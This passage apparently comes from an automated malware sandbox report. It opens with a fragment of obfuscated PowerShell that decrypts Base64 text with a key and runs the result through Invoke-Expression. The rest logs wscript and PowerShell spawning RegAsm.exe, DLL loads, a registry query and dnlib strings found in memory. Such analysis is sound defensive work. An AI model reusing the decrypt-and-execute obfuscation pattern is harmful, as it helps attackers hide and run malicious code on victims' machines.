-'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
